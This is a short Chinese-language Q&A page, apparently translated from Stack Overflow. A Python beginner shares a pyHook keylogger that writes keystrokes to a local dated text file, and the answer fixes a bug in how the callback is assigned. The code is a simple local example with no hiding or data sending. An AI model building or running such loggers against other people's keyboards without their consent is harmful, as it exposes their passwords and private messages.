我刚刚开始使用 Python 编程。我的第一个“项目”是键盘记录器。我已经阅读了此处和其他论坛上发布的几行代码。我编写了这段代码,它应该记录按下的按键,并在每次按下 Enter 键时在 .txt 文件中开始一个新行。有人可以给我一些建议吗?
import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt'
def OnKeyboardEvent(event):
if event.Ascii:
log = open(file_log,"a")
char = chr(event.Ascii)
if event.Ascii == 13:
log.write('\n')
log.write(char)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()
谢谢并致以最诚挚的问候!
编辑:该文件似乎没有启动,因为启动时没有创建新进程或日志文件
最佳答案
与 https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/ 处的示例进行比较
你会看到你的线路
hm.KeyDown = OnKeyboardEvent()
不应有尾随的()
。您希望 KeyDown 获取函数,而不是函数的结果。
关于具有一些功能的 Python 键盘记录器,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40776165/